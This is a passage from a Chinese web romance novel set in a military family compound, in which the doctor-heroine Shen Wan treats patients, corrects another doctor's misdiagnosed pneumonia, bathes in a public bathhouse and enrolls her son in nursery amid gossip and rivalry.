沈晚清了清嗓子："小川，你先出去等一会儿。" 霍小川乖巧地点点头，蹦蹦跳跳地出了病房，还贴心地带上了门。 房间里顿时只剩下两人。 沈晚深吸一口气，微凉的指尖轻轻按在霍沉舟的肋骨处："这里还疼吗？" 她的触碰像一阵电流，霍沉舟的呼吸明显急促了几分。 "不疼。"他的声音有些沙哑。 沈晚的指尖顺着肋骨慢慢下移，检查每一处愈合情况，她能清晰地感受到男人炙热的体温。 沈晚的视线最后停留在霍沉舟紧实的小腹上，手指刚要触碰，却被一把抓住。 霍沉舟的眼神暗沉如墨，翻涌着难以压抑的欲望——这女人简直是个妖精，什么都没做，就已经让他濒临失控。 沈晚懵懂地抬头，对上男人灼热的目光。 那眼神像一头盯紧猎物的狼，危险又充满占有欲，让她心头一颤。 "我、我检查完了..."她连忙站起身，想走，却被身后的男人猛地拉住。 一个踉跄，沈晚失去平衡，整个人跌进霍沉舟怀里，男人炙热的胸膛紧贴着她，有力的心跳声震耳欲聋。 沈晚眨了眨眼，第一反应是手感真好！ 她的手掌正贴在霍沉舟的小腹上，那紧致的触感让她下意识多摸了两下。 霍沉舟闷哼了一声。 就在这时，病房门忽的被推开。 "沉舟啊，我来看看你的伤..."周卫国的声音戛然而止。 病床上，霍沉舟半裸着上身，而沈晚整个人都趴在他怀里。 这要是别的小情侣，周卫国还能理解。可眼前这两位不是正在办离婚吗？怎么突然就抱上了？ 周卫国太阳穴突突直跳，总觉得自己好像错过了什么重要剧情。 站在他身后的霍小川看见这一幕，立刻用小手捂住眼睛。 沈晚手忙脚乱地从霍沉舟身上爬起来："首长，我在帮霍沉舟检查恢复情况……" 她的解释在周卫国意味深长的目光下越来越小声。 霍沉舟倒是镇定，慢条斯理地系着扣子："首长。" 周卫国干咳两声："我就是来看看你的伤，"他眼神在两人之间来回扫视，"看来恢复得不错？" 霍沉舟面不改色："嗯，多亏沈晚照顾，恢复的还行。" 周卫国把手里的果篮放在床头："不会留后遗症就好。你爸妈那边我还没通知，怕他们担心。" 霍沉舟点点头："嗯，别告诉他们，他们身体不好。" 听到这话，沈晚莫名有点心虚，霍父霍母身体不好，有一部分原因是被原主给气的。 周卫国温和地看向沈晚："沈同志，听雪梅说你想制药？" 沈晚连忙点头："是的，我做的都是特效药，绝对比其他药好用。特别是针对风湿骨痛的药膏，效果会很好。" 周卫国虽然对沈晚印象不佳，但到底有惜才之心："那你好好做。等你做出成品，可以先送到卫生院试用，如果效果确实好，部队可以考虑采购。" 这话已经算是极大的支持了。 沈晚感激道：“多谢周首长和林主任的支持。” 周卫国又和霍沉舟聊了几句，期间不时转动脖子。 沈晚注意到他的动作，主动问道："周首长，您是不是经常脖子酸痛？" 周卫国有些惊讶："对，老毛病了。" "那您应该是颈椎有问题。"沈晚走近几步，"如果不介意，我可以帮您扎几针，暂时缓解一下。" 周卫国将信将疑地看了她一眼，但在霍沉舟的点头示意下，还是坐直了身子："那就麻烦沈同志了。" 第二十四章 故意编排 周卫国看着沈晚拿出针，忍不住有点犯怵，这针扎身上真的能治病吗？ 沈晚看出他的紧张，温声安抚："您放松，不疼的。" 她手法娴熟地取穴，先在周卫国的风池穴轻轻捻入一根银针。 银针刚刺入皮肤，周卫国就惊讶地"咦"了一声："真的不疼！还有点麻麻的。" 沈晚微微一笑，又在他肩井穴、大椎穴各下一针。 "哎呦！"周卫国感觉一股热流从脖子窜到肩膀，"这感觉舒坦。" 三分钟后，沈晚起针："您活动活动脖子试试。" 周卫国转了转脖子，惊喜道："神了！真不酸了，我这毛病十几年了，天天贴膏药也没缓解，没想到你这几针下去就好了。" 沈晚谦虚地笑笑："只是暂时缓解，您平时要注意坐姿，别总低头批文件，等到下次有空我再帮你扎几针。" 周卫国连连点头："我付给你医药费吧。" 沈晚婉拒："周首长，您能答应我在部队里捣鼓药材，已经是帮了我大忙了。这点举手之劳，哪能收钱。" 周卫国看着沈晚真挚的表情，对她真的改观了不少。 但是她和沉舟的婚还是要离的，沉舟前五年的痛苦他都实实在在看到了，不能再让他困在这段婚姻里。 周卫国离开后，沈晚也就不耽搁了，不然一会天完全黑了，走路看不清路。 霍沉舟抿了抿唇：“要走了？” 沈晚把保温桶盖好：“对啊。” 霍沉舟眼巴巴地看着母子俩走出病房。 霍小川还知道和他挥手告别，沈晚头都没回。 * 顾战陪苏琴杉吃晚饭，苏琴杉不停给他夹菜，顾战吃撑了，擦了擦嘴：“琴杉，我真吃饱了，吃不动了。” 苏琴杉一只手搭上顾战的胳膊，柔声问道："阿战，霍团长现在住院养伤，你们领导有没有说要给你升个职啊？" 顾战闻言一愣，眉头微皱："琴杉，你怎么突然问这个？" "我就是关心你嘛~"苏琴杉撒娇般地晃了晃他的手臂，"你在部队这么多年，也该升一升了。" 顾战放下筷子，语气严肃起来："琴杉，团长受伤不是我们谋取升职的机会。现在全团上下都在担心团长的伤势，没人会想这些，而且团长待我不薄，就算能在团长手下干一辈子我也愿意。" 苏琴杉笑容僵了僵：“我不是那个意思。” 顾战神情冷淡：“这种话以后不要再说了。” 苏琴杉讪讪地收回手，心底却有点着急。 按照前世的记忆，霍沉舟这次受伤后就会退伍，顾战本该顺势升职的。 可如今冒出来一个会医的沈晚，把霍沉舟的腿伤生生治好了，计划全被打乱了。 苏琴杉暗暗咬牙，她当时来部队就是抱着师长夫人来的，如果顾战一辈子只能当个营长，她真的会不甘心。 顾战帮忙把碗筷洗干净，套上棉袄准备出门。 苏琴杉连忙拉住他："阿战，这么晚你要去哪？" "去帮沈同志劈点柴火，"顾战系紧腰带，"她一个女人带着孩子，干不了这重活。" 苏琴杉咬了咬唇："阿战，你知道家属院里都怎么传吗？" 顾战疑惑地皱眉："传什么了？" "说你和沈晚进进出出，影响不好。"苏琴杉装作为难的样子，"所以你能不能离她远一点？她毕竟是霍团长的媳妇。" 顾战有点无语："琴杉，这种闲话你也信？团长受伤，我帮忙照顾他妻儿，天经地义。" "可是……" "没有可是。"顾战打断她，"清者自清。你要是真在意这些闲言碎语，不如去劝劝那些乱嚼舌根的人。" 说完，他头也不回地推门而出。 苏琴杉站在原地，开始想怎么给自己找个后路，把所有希望都压在顾战身上，怕是行不通了。 顾战刚走到霍家门口，就听见李丽在院子里阴阳怪气："哎哟，顾营长又来了呀，这比自己家来的还勤快。" 要是放在以前，顾战这个直肠子可能还听不出弦外之音。 但刚刚经历过苏琴杉那一出，他现在算是明白了——这帮女人就是在故意编排他和沈晚！ 他不屑与女同志计较，只是冷冷地瞥了李丽一眼，大步走到霍家门前敲门："沈同志。" 门很快打开，沈晚探出头看他："顾营长？有事吗？" 顾战故意提高嗓门，声音洪亮得整个院子都能听见："团长说了，让我来帮你劈点柴火！" 沈晚先是一愣，随即反应过来，顾战这是在帮她堵那些闲言碎语呢。 她不是聋子，平常院里对她的评价都听见了，但是沈晚懒得计较，没想到顾战放在心上了。 沈晚抿唇微微一笑，配合道："那多谢顾营长了。" 李丽讪讪收回了视线，这顾战都说是霍团长亲自吩咐的，她也说不了什么了。 顾战大步走向柴堆，抡起斧头就干，那些柴火在他手里像是豆腐一般，一劈就开，不一会儿就摞起一小堆。 沈晚倚在门框上，看着顾战卖力劈柴的背影，心里有些感动。 别的不说，顾战对她是真的很照顾。 李丽回到屋里，她男人王强军正坐在炕上抽烟，见状皱眉道："你这婆娘咋老针对人家沈同志？闲得蛋疼啊？" 李丽一听就炸了："咋的？你也看上那个狐狸精了？" 王强军瞪起牛眼，烟杆往炕桌上一磕："你再乱嚼舌根，老子非揍你不可！" "呵！"李丽叉着腰，"上次她把咱家浩子推雪堆里的事，我还没找她算账呢！" "放屁！"王强军气得喘粗气，"那还不是浩子先欺负人家小川？你以为老子不知道？"他指着李丽的鼻子，"你再敢去找沈同志麻烦，看老子不打断你的腿！" 李丽被吼得缩了缩脖子，嘴上还不服软："你们男人都一个德行，见着漂亮女人就走不动道..." "滚犊子！"王强军抄起扫炕笤帚就要打，"人家沈同志现在可是救了霍团长的功臣，连首长都夸她医术好。你再瞎嘚瑟，小心被赶出部队！" 这话戳中了李丽的软肋。她悻悻地闭上嘴，心里却把沈晚骂了八百遍。 第二十五章 大澡堂子搓澡 沈晚来部队快一周了，天寒地冻的也不怎么出汗，每晚只能在屋里用热水简单擦擦身子。 但她骨子里还是有点洁癖，实在受不了了，想好好洗个热水澡。 可问题是——家属院只有公共大澡堂！ "赵姐，"沈晚跟跟赵晓燕诉苦，"我有点不好意思。" 赵晓燕听完哈哈大笑："哎呦我的傻妹子！这有啥不好意思的？"她一把拉起沈晚，"走走走，姐带你去，保管没人敢笑话你！" 在赵晓燕的盛情邀请下，沈晚回家收拾了洗澡用品——毛巾、肥皂、换洗衣物，还有赵晓燕硬塞给她的丝瓜瓤搓澡巾。 "走啦走啦！"赵晓燕生拉硬拽地把沈晚拖到澡堂门口，"大冷天的洗个热水澡舒服得很！小川我让德志带他去男澡堂了，你就安心跟我来就行。姐再给你好好搓搓灰！" 沈晚连忙摆手："不用了不用了！"作为一个南方人，她对这种坦诚相见的搓澡服务实在无福消受。 推开雾气腾腾的澡堂大门，扑面而来的热浪让沈晚呼吸一滞。 十几个赤条条的女人在淋浴间里说笑打闹，白花花的肉体晃得她眼晕。 "脱啊！愣着干啥？"赵晓燕三下五除二把自己扒了个精光，见沈晚还扭捏地攥着衣角，直接上手帮忙，"咋的，还怕人看啊？你这一身细皮嫩肉的，羡慕死她们！" 沈晚硬着头皮脱了衣服，双手不自在地挡在胸前。 赵晓燕啧啧称奇："哎呦喂，妹子你这身段！" 这话引得周围几个军嫂都看过来，沈晚恨不得找个地缝钻进去。 "瞅啥瞅？"赵晓燕叉腰挡在沈晚前面，"没见过漂亮姑娘啊？" 众人哄笑着散开。 沈晚赶紧躲到角落的淋浴下，温热的水流冲走了连日来的疲惫。 巧的是，苏琴杉和李丽今天也来洗澡了。 沈晚站在水雾中，修长的脖颈线条优美，锁骨精致如画，水流顺着她纤细的腰肢滑落，勾勒出完美的腰臀比，那双笔直的长腿在雾气中若隐若现，肌肤莹润如玉，没有一丝瑕疵。 李丽低头看了看自己胖乎乎的身材，又瞄了眼沈晚，莫名生出几分自卑。 她生完孩子后，肚皮松垮，妊娠纹也消不掉，胸脯下垂，整个人像老了十岁。 她记得刚结婚那会儿，王强军最爱搂着她的小蛮腰，可上次亲热都是两个月前的事了。 每次她主动暗示，自家男人都推说训练太累，倒头就睡。 想到这，李丽嫉妒地啐了一口：“果然是狐狸精。” 苏琴杉原本对自己的身材很自信，圆润的臀部被村里人夸过好生养，腰细胸大也是福相，可此刻和沈晚一比，顿时相形见绌。 沈晚身体的每一处曲线都恰到好处。 孙秀芝凑过来笑到："妹子，你长得俊身材又好，霍团长真忍心和你离婚啊？我要是男人都得爱上你！" 沈晚抿唇笑了笑没搭腔，往身上打着肥皂。 孙秀芝也不在意，继续道："你家小川快五岁了吧？" "嗯，"沈晚冲掉泡沫，"快过五岁生日了。" "那老闷在家里也不是事儿。"孙秀芝热心地说，"部队有托儿所，里面有老师教识字算数，可以送他去啊。" 沈晚手上动作一顿——对啊，这个年纪的孩子在现代也该上幼儿园了。 托儿所既能让孩子学东西，又能让她有时间做自己的事。 "谢谢嫂子提醒，"她真诚地说，"我有空就去问问。" 孙秀芝爽朗地摆摆手："谢啥！我认识托儿所的刘所长，到时候帮你说一声。" 沈晚虽然感激她的热心，但更希望按规矩办事，霍小川本就是军属子弟，进托儿所是理所应当的事，没必要欠这个人情。 "不用了嫂子，"她婉拒道，"我自己去问问就行。" 孙秀芝见状也不强求："成！那你记得早点去。" 沈晚在水下冲了一会儿，赵晓燕拿着搓澡巾凑过来："妹子，来，姐给你搓搓背！这大冬天的，不搓干净容易长皴！" 见沈晚有些犹豫，赵晓燕直接拉过她的手臂："害啥羞啊！你看那边李丽，还让人给她搓屁股蛋呢！" 沈晚被逗笑了，只好转过身去。 赵晓燕立刻麻利地开始搓起来："哎呦，你这身上干净得很，都没啥灰！" 粗糙的搓澡巾刮过后背，带来一种奇特的舒爽感，沈晚紧绷的肌肉渐渐放松，任由赵晓燕从后背搓到胳膊。 赵晓燕稍微加了点力道，沈晚白皙的肌肤立刻泛起一片粉红。 "哎呦，你这皮肤也太嫩了！"赵晓燕啧啧称奇，"我都没使劲呢就红了，真怕给你搓破皮了。" 沈晚这会儿还没觉得疼，反而觉得挺舒服的："没事，再用点劲也行。" "那我可真用力了啊！"赵晓燕撸起袖子，搓澡巾往下一刮—— "嘶——"沈晚倒吸一口凉气，锁骨上方顿时火辣辣的疼，"停停停！" 赵晓燕赶紧住手，只见沈晚锁骨那片已经红得跟擦了胭脂似的，在雪白肌肤的衬托下格外显眼。 "哎呦我的乖乖！"赵晓燕心疼地摸了摸，"这可咋整，霍团长看见还不得心疼死？" 沈晚哭笑不得：“他心疼什么？” 洗完澡出来，沈晚浑身舒畅，终于理解了为什么现代会兴起东北大澡堂搓澡的潮流。 这种从里到外的清爽感，是淋浴比不上的。 刚出澡堂，迎面就撞上霍小川和带他洗澡的张德志。 小川一看到赵晓燕就告状："赵姨，张叔叔给我搓澡搓疼了。" 赵晓燕立刻揪住丈夫腰间的软肉："张德志，你手没轻没重的。" "哎哟哟！"张德志疼得龇牙咧嘴，"我错了我错了！小川啊，下回叔叔给你买糖赔罪！" 回家后，沈晚决定去找霍沉舟商量一下让霍小川进托儿所的事情。 而且她这两天新做了治冻疮的药膏，正好给霍沉舟试试，她上次注意到霍沉舟手上有冻疮，想必是常年野外训练落下的病根。 冻疮这种毛病在东北最常见不过，虽不是什么大事，却折磨人得很，又痒又疼。 第二十六章 霍沉舟，你好重 沈晚刚走到医院门口，就看见一个妇女抱着个五六岁的男孩急匆匆往里冲。 那孩子面色潮红，呼吸急促，小拳头紧紧攥着母亲的衣领。 沈晚不经意扫了一眼，觉得这症状看起来像是小儿肺炎。 等她快到霍沉舟病房时，那对母子已经从诊断室出来了。 王桂花边走边哄："儿子，等妈给你拿点什么西林，吃了就好了。" 沈晚听到这里，眉头一皱，快步上前拦住她："大姐，您家孩子看起来像是肺炎，不能随便吃抗生素。" 王桂花一愣，警惕地抱紧孩子："你谁啊？林医生都开药了，你拦着我干什么？" 沈晚仔细说给她听："您看，孩子呼吸急促、鼻翼煽动，嘴唇还发绀，这都是肺炎的典型症状。抗生素滥用会导致..." 她话没说完，王桂花就打断道："你说啥呢，我听不懂！"她不耐烦地推开沈晚，"人家林医生穿白大褂的，不比你懂？" 沈晚有些无语，若不是看这孩子情况危急，再耽搁下去怕出事，她早就不管这闲事了。 "大姐，您要是真按这药方给孩子吃，可能会延误病情。" 王桂花一听就炸了："你这小贱人怎么说话呢？咒我儿子是吧？" 她嗓门刺耳尖锐，引得周围人纷纷侧目。 "这不是霍团长那个乡下媳妇吗？听说她会点医术……" "我看她就懂点皮毛，哪能比得上林医生？林医生都开药了，还能有错？" 争吵声惊动了诊室里的林怡宁。 她走出来，看到沈晚后立刻抬起下巴："沈晚，你又在干什么？这个孩子就是普通的上呼吸道感染，吃些我开的药很快就能好。" 沈晚寸步不让："林医生，这孩子明显是肺炎症状，需要立即住院治疗！" "呵，"林怡宁冷笑，"你一个村妇，懂什么是肺炎？我知道你急着在沉舟和院长面前表现自己，但也没必要拿小孩子当作跳板吧？" 林怡宁此话一出，整个走廊顿时炸开了锅。 "原来是为了逞能啊？"一个烫着卷发的大婶撇着嘴，"听说她缠着霍团长不肯离婚，现在又想靠这个出风头。" 旁边戴眼镜的中年男人摇头："这女人心思也太恶毒了，竟然拿小孩子当借口。" 抱着孩子的王桂花一听，立刻指着沈晚破口大骂："你个黑心肝的贱货敢咒我儿子，我儿子要是有个三长两短，我跟你拼命！" 林怡宁看着沈晚被众人指责的样子，眼底闪过一丝得意。 正当她准备再添把火时，沈晚身后突然传来一道低沉的声音： "怎么了？" 只见霍沉舟拄着拐杖站在病房门口，脸色阴沉，他虽然腿伤未愈，但那股不怒自威的气势，让喧闹的走廊瞬间安静下来。 林怡宁立刻换上委屈的表情："沉舟，沈同志非要干扰我给病人看病，说我的诊断不对，我知道她对我有意见，可也不能拿病人的健康开玩笑啊。" 王桂花也哭嚎起来："霍团长，你这乡下媳妇太恶毒了！我儿子明明就是小感冒，她非咒我儿子得了肺炎！" 沈晚抿着唇一言不发。 霍沉舟听完她们的话，目光沉沉地看向沈晚："你有什么要说的？" 他这副公事公办的模样，让沈晚心里没底。 但她还是如实回答："这孩子不像普通的感冒，像是支原体肺炎。吃林怡宁开的药好不了，可能还会加重病情。" 霍沉舟盯着她看了几秒，突然转身对一个小护士说：“去请董院长。” 闻言，沈晚松了口气，董院长经验丰富，肯定能确诊孩子的病情。 林怡宁咬了咬牙："沉舟，我是专业的医生，听我的肯定没错。没必要惊动院长吧？" 霍沉舟神色不变："事关孩子，谨慎点总没错。" 林怡宁没话说了，只能在心里暗暗期待：等院长来了，看沈晚这个村妇还怎么装！ 霍沉舟却突然冲沈晚招招手："过来。" 沈晚一时没反应过来："啊？" 霍沉舟语气无奈："我腿疼，走不动。" 沈晚上前，霍沉舟很自然地把胳膊搭在沈晚肩上，高大的身躯几乎将她整个人笼罩，温热的呼吸喷洒在她耳畔。 "霍沉舟，你好重。"沈晚小声抱怨。 霍沉舟低笑一声，又往她身上靠了靠："忍忍。" 两人亲密的背影让林怡宁嫉妒得眼红。 董建林匆匆赶来。 他仔细检查了孩子的情况，神情严肃："急性肺炎，需要立即住院治疗！" 林怡宁不可置信地瞪大眼睛："院长，您是不是搞错了？" "胡闹！"董建林厉声打断，"呼吸音粗粝，肺部明显湿啰音，这么典型的症状都看不出来？" 这下所有人都知道沈晚刚才说的是对的了。 "没想到沈晚刚才说的是真的！" "这林医生也太不负责了吧？差点误诊了！" "就是啊，要是耽搁了孩子病情，那不得出大事？" 林怡宁脸色煞白，她本想看沈晚出丑，万万没想到最后丢脸的竟是自己！ 王桂花这才彻底醒悟过来，眼含泪水就要给沈晚跪下："恩人啊！刚才是我糊涂，差点害了我儿子。" 沈晚伸手拦住王桂花下跪的动作："不用了，孩子治病要紧。" 王桂花倒也没真打算跪下，狠狠剜了一眼林怡宁，抱起孩子跟着护士匆匆离开。 董建林沉着脸批评道："林医生，对待病人我们要打起十二分的精神。我希望不要再出现这样的情况。" 林怡宁从牙缝里挤出几个字："知道了。" 沈晚见事情解决，担心霍沉舟站太久腿伤不适，便扶着他慢慢往病房走。 "你这拐杖挺好的，哪来的？"沈晚随口问道。 "顾战给我找的。"霍沉舟低声回答，他低头看着沈晚的侧脸，忍不住解释："沈晚，我刚才不是不相信你。" “我知道啊，你是团长，不能偏袒任何一方。” 霍沉舟语塞了一瞬："我不是这个意思，我找董院长来，是为了帮你正名。" 沈晚心头微动："所以你是相信我的？" "嗯。" 第二十七章 迫不及待要和他离婚？ 沈晚扶着霍沉舟在病床边慢慢坐下。 霍沉舟的目光不经意间扫过她的脖颈，眉心顿时蹙起。 沈晚皮肤本就白皙，赵晓燕搓澡时留下的那道红痕格外显眼，乍一看竟像是吻痕。 他坐稳后问："你脖子上是什么？" "什么？"沈晚茫然地摸了摸自己的脖子。 霍沉舟指了指那块可疑的红痕："这里，红了一块。" 沈晚看不见那个位置，索性拉起霍沉舟的手往自己脖子上带："哪里？你指给我看看。" 霍沉舟喉结滚动，指尖触到她细腻的肌肤时，呼吸都滞了一瞬。 他那处红痕上划过："这里" 沈晚这才想起来，估计是刚才赵姐给她搓澡时留下的。 沈晚解释道："我刚才去澡堂洗澡了，估计是赵姐给我搓澡搓的。" 霍沉舟了然地点头："今天没炖汤？" "补汤也不能天天喝啊，"沈晚白了他一眼，"不然你又要流鼻血。刚才听军嫂说，部队有托儿所可以送小川去。" 霍沉舟点点头："你想送他去？我没有意见。" "对啊，这样小川可以多和同龄人接触，托儿所里也有老师，能学点东西。等我离开部队后，他也能尽早适应新环境。" 霍沉舟原本正色听着，却在听到最后一句时，心头莫名堵了一下。 他怎么感觉沈晚这么迫不及待要和他离婚呢？ "霍沉舟，"沈晚突然想起什么，"离婚审批还要多久？" 病房里的空气仿佛瞬间凝固。 霍沉舟盯着她看了几秒，声音沉了下来："你很着急？" "也不是..."沈晚被他盯得有些不自在，"就是想着早点安排好后面的事情。" 霍沉舟移开视线，语气平淡："快了。" 沈晚"哦"了一声，她的手碰到口袋里小巧的铝制盒子，这才想到正事。 "差点忘了，"她将冻疮膏递给霍沉舟，"我看你手上也有冻疮，正好新做了药膏，你先试试。" 霍沉舟接过盒子，打开盖子，一股淡淡的药香飘出来，膏体呈现出浅褐色。 "用了白芷、当归，还加了些蜂蜜，不会刺激皮肤，睡前涂一次，三天就可以见效。" 霍沉舟用指腹沾了一点，轻轻涂在手背，药膏触肤即化，带来一阵清凉。 沈晚杏眼里满是期待：“怎么样？” "很舒服，"霍沉舟轻声说。 沈晚闻言抿嘴笑了笑，颊边露出两个小小的梨涡：“那就行。” 向霍沉舟问清帮霍小川办理托儿所的手续后，沈晚便离开了。 * 顾战陪苏琴杉去服务社买东西，心里还惦记着霍小川，特地买了一包桃酥送过来。 他敲了敲霍家的门，霍小川踮着脚把门打开。 "小川，你妈呢？"顾战往屋里探了探头。 "妈妈去找爸爸了。"霍小川乖巧地回答。 顾战"噢噢"应了两声，眼神扫过桌上那副藏蓝色的小手套，这不就是上次沈同志赶集买的毛线织的吗？看大小明显是给孩子戴的。 "小川，你妈有没有织毛衣啊？" 霍小川摇摇头："没有，但是妈妈说等练熟了手艺，就给我织条围巾。" 顾战尴尬地摸了摸鼻子，合着沈同志压根没打算给团长织毛衣！亏他还信誓旦旦地在团长面前打包票。 他把桃酥递给霍小川："小川，你吃吧。" 霍小川咽了咽口水，却懂事地摇摇头："顾叔叔，你把好吃的拿回去给婶婶吃吧。" 孩子乖巧的模样让顾战心头一暖。 他揉了揉霍小川的发顶："你吃吧，婶婶不爱吃甜的。" 霍小川拉着顾战进屋："顾叔叔，你进屋坐。" 顾战在矮板凳上坐下，霍小川拿起桃酥先递到他嘴边："顾叔叔先吃。" 看顾战咬了一大口，霍小川这才小口小口地吃起来。 沈晚推门回来，看见顾战有些意外："顾营长来了？"她摘下围巾挂在门后。 顾战欲言又止地搓着手，沈晚主动问道："有什么事吗？" "沈同志，"顾战终于憋不住了，"你买毛线不是为了给团长织毛衣吗？" 沈晚有点疑惑："不是啊？为什么这么说？" 顾战不好意思地咧了咧嘴："我上次见你买藏蓝色毛线，还买了那么多，以为你要给团长织毛衣呢。" 沈晚听着顾战的话，想起前两天霍沉舟有意无意地问她买这么多毛线只给小川织手套吗？ 合着这男人一直以为她在给他织毛衣？难怪当时表情那么古怪。 想到这里，沈晚忍不住笑出声。 "顾营长，"她憋着笑问，"霍沉舟是不是也这么以为的？" 顾战挠了挠后脑勺："是我跟团长说的，你肯定要给他织毛衣。" 沈晚脑海里突然浮现出霍沉舟那张冷峻的脸，配上眼巴巴等主人关爱的大狗模样，顿时忍俊不禁。 她好不容易憋住笑：“顾营长，我想送小川去部队托儿所。” 顾战立刻点头："可以是可以，不过你得亲自带小川去后勤处登记，带上户口本和你的结婚证。"他掰着手指详细说明，"先填申请表，然后去卫生所体检，最后到财务科交伙食费，一个月八块钱。" 这些沈晚大多数都听霍沉舟说过了，顾战怕她刚来部队不熟悉，主动提议："要不我抽时间带你去？" 沈晚不想再给顾战添麻烦了："不用了，你已经帮了很多忙，这点小事我自己能搞定。" 顾战正色道："沈同志，你是不是因为大院里的那些闲话，所以才想和我保持距离？但照顾你和孩子是团长交给我的任务，你不用多想。" 沈晚笑着摇摇头：“顾营长，你想多了。那些人的闲言碎语还不至于让我放在心上。” 顾战松了口气："那就好！大院里那些军属就是闲得慌，整天瞎琢磨。等团长伤好了归队，看谁还敢乱嚼舌根！" 沈晚随口问了句："顾营长要不要留下来吃饭？" 本来就是客气一下，没想到顾战一口答应了："要不你和孩子去我家吃吧？琴杉手艺可好了，正好你们也认识认识。" 第二十八章 报名遇到熊孩子 沈晚一想到要跟苏琴杉同桌吃饭就浑身不自在，连忙摆手拒绝："算了吧顾营长，我不习惯和不熟的人一起吃饭。" 话都说到这份上了，顾战也不好勉强："那好吧，沈同志，我就先走了。" 沈晚把他送到门口，然后关上门。 苏琴杉见顾战回到家，立刻端上热腾腾的饭菜，温柔地问道："怎么去了这么久？" "和沈同志多聊了几句。"顾战随口答道，埋头扒饭。 苏琴杉眼中闪过一丝不悦，但很快又挂上甜美的笑容："阿战，我这么一直闲在家里也不是回事，要不然我找点事做吧？" 顾战抬头："你想做什么？" 苏琴杉轻咳一声，装作不经意地说："听说部队宣传科缺个文员？我在老家当过广播员，应该能胜任。" 她边说边观察顾战的反应，手指不安地绞着衣角。 顾战放下碗筷，眉头微皱："琴杉，宣传科招人要走正规考试流程，我不能帮你走后门。" 苏琴杉笑容僵了僵："可是阿战，咱们都快结婚了，这点忙你都不帮吗？" "不是不帮，"顾战语气坚定，"部队有纪律，我不能带头破坏规矩。你要是真想去，我可以帮你找复习资料。" 苏琴杉眼中闪过一丝阴郁，但很快又挤出温柔的笑容："你说得对，是我考虑不周。" 顾战摸了摸她的脸："我明天去帮你找复习资料。" 苏琴杉温顺地点点头："谢谢你，阿战。" "咱俩之间不用这么客气。"顾战笑着捏了捏她的手。 第二天一早，苏琴杉特意用从老家带来的糯米粉做了几笼香甜的枣糕，然后分给家属院的其他军属。 那些军嫂收到苏琴杉的枣糕，个个眉开眼笑地夸赞： "琴杉手真巧，这枣糕比供销社卖的还香。" "顾营长有福气啊，能娶到这么能干的媳妇。" 就连赵晓燕也收下了枣糕，不过转身就从屋里抓了把炒花生塞给苏琴杉："苏同志，别嫌弃。" 当苏琴杉端着最后一包枣糕来到沈晚家院子时，沈晚正蹲在地上捣鼓草药，手上沾满了泥土。 "沈同志，"苏琴杉笑容甜美，"这是我自己做的枣糕，你和小川尝尝。" 沈晚抬头，看着苏琴杉的笑脸，又瞥了眼自己脏兮兮的手，碍于顾战的面子，她勉强点头："谢谢，先放下吧。" 苏琴杉却体贴地说："沈同志，这枣糕凉了就不好吃了，我帮你拿进屋里，让小川先尝尝。" 还没等沈晚阻止，苏琴杉已经自来熟地推门进了屋。 她一边往里走，一边不动声色地打量着屋内的摆设。 沈晚皱了皱眉，只能跟着进屋，在墙角的水盆里洗了洗手。 刚起床的霍小川局促地和苏琴杉打招呼：“苏阿姨好。” "哎呀，小川真乖！"苏琴杉亲热地把枣糕递过去，"尝尝阿姨做的点心好不好吃？" 霍小川一时没敢接，虽然这苏阿姨笑起来特别温柔，但他心里总是莫名有点怕她。 得到沈晚点头默许后，霍小川才接过枣糕，小声道："谢谢苏阿姨。" 沈晚不想欠人情，转身从柜子里拿出几个红彤彤的苹果："苏同志，这是上次赶集买的，你带几个回去尝尝。" 苏琴杉摆手拒绝了：“不用了沈同志，阿战特地嘱咐我要多照顾照顾你们孤儿寡母的。” 她就这样空着手出来，李丽见状把她拉到一边：“你好心给她送枣糕，那个狐狸精啥都不给你，赵晓燕好歹还给你一兜花生。” 苏琴杉光笑笑，没说话也没解释。 * 虽然沈晚想让霍小川去托儿所，但是这件事还是要征求他的意见。 去托儿所之前，沈晚认真地问霍小川：“小川，你愿意去上学吗？这样每天就不能只待在家里了，也不能天天睡懒觉了。” 霍小川抿着小嘴想了想。 他其实有点舍不得妈妈，但更想变得像爸爸那样独立勇敢。小家伙攥紧小拳头，重重地点头："妈妈，我愿意！" 沈晚心头一软，揉了揉他的小脑袋："真棒！那现在妈妈就带你去报名。" 沈晚带着霍小川来到后勤处的家属服务办公室，这是一间刷着军绿色油漆的平房，门口挂着"第七师家属委员会"的木牌。 门口已经有一对母子在等候。 母亲是典型的农村妇女模样，皮肤黝黑粗糙，她身边站着两个孩子。 小女孩约莫六七岁，黑瘦黑瘦的，像棵营养不良的豆芽菜，没什么精气神，而她弟弟虽然和霍小川差不多大，却壮实得像头小牛犊，黢黑的脸上还沾着鼻涕印，脖子上的泥垢都能搓出条来。 那妇女瞧见肤白貌美的沈晚，不屑地哼了一声，特意别过脸去。 小男孩手没闲着，一直扯着女孩的辫子，女孩被扯的眼角泛泪花：“妈妈，弟弟扯我的头发，好疼。” 那妇女斜眼瞥了女儿一眼，用浓重的乡音说话："扯就扯呗！恁当姐姐的让着点弟弟咋了？" 有了妈妈撑腰，那小男孩更来劲了，得意地咧嘴一笑，变本加厉地拽住女孩的辫子使劲一扯。 小姑娘疼得眼泪直打转，却不敢大声哭，只能小声抽泣。 沈晚看得心里不舒服，但毕竟是别人家的家事，她也不好贸然插手。 那小女孩不喊疼，小男孩渐渐觉得没意思了，松开手歇停了一会儿。 他眼珠子滴溜溜转了一会，目光落在旁边的沈晚身上。 绿豆般的小眼睛上下打量着沈晚，见她没注意自己，冲她招招手："阿姨！" 沈晚低头看他，今天编的麻花辫从肩头滑落："有事？" 小男孩用力擤了把鼻涕，嘿嘿一笑，突然伸手猛地拽住她的辫子！ "嘶——"沈晚头皮一阵刺痛，火气蹭地窜上来。 她最讨厌这种熊孩子了，被家长惯的不知天地为何物了。 霍小川急了："你为什么拽我妈妈的头发！" 小男孩做了个鬼脸，吐着舌头："略略略~我在和你妈妈玩啊~" 不远处，小男孩的妈妈注意到这边的动静，非但没管，反而得意地笑了笑。 第二十九章 教训熊孩子 霍小川气得脸都红了："你这才不是玩，你这是欺负人！" 熊孩子叉着腰扭屁股："你管不着~管不着~" 沈晚冷眼看着熊孩子嘚瑟的模样，趁他不备，抬手就在他屁股上拍了一下。 冬天棉裤厚实，这一下其实并不疼，却把熊孩子彻底打懵了——从小到大，他都是被全家人捧在手心里，哪挨过打？ 等熊孩子反应过来，立刻捂着屁股要跑去找妈妈告状："妈！她打我——" 沈晚眼疾手快，一把揪住他的后衣领："跑什么？刚才不是挺能耐的吗？" 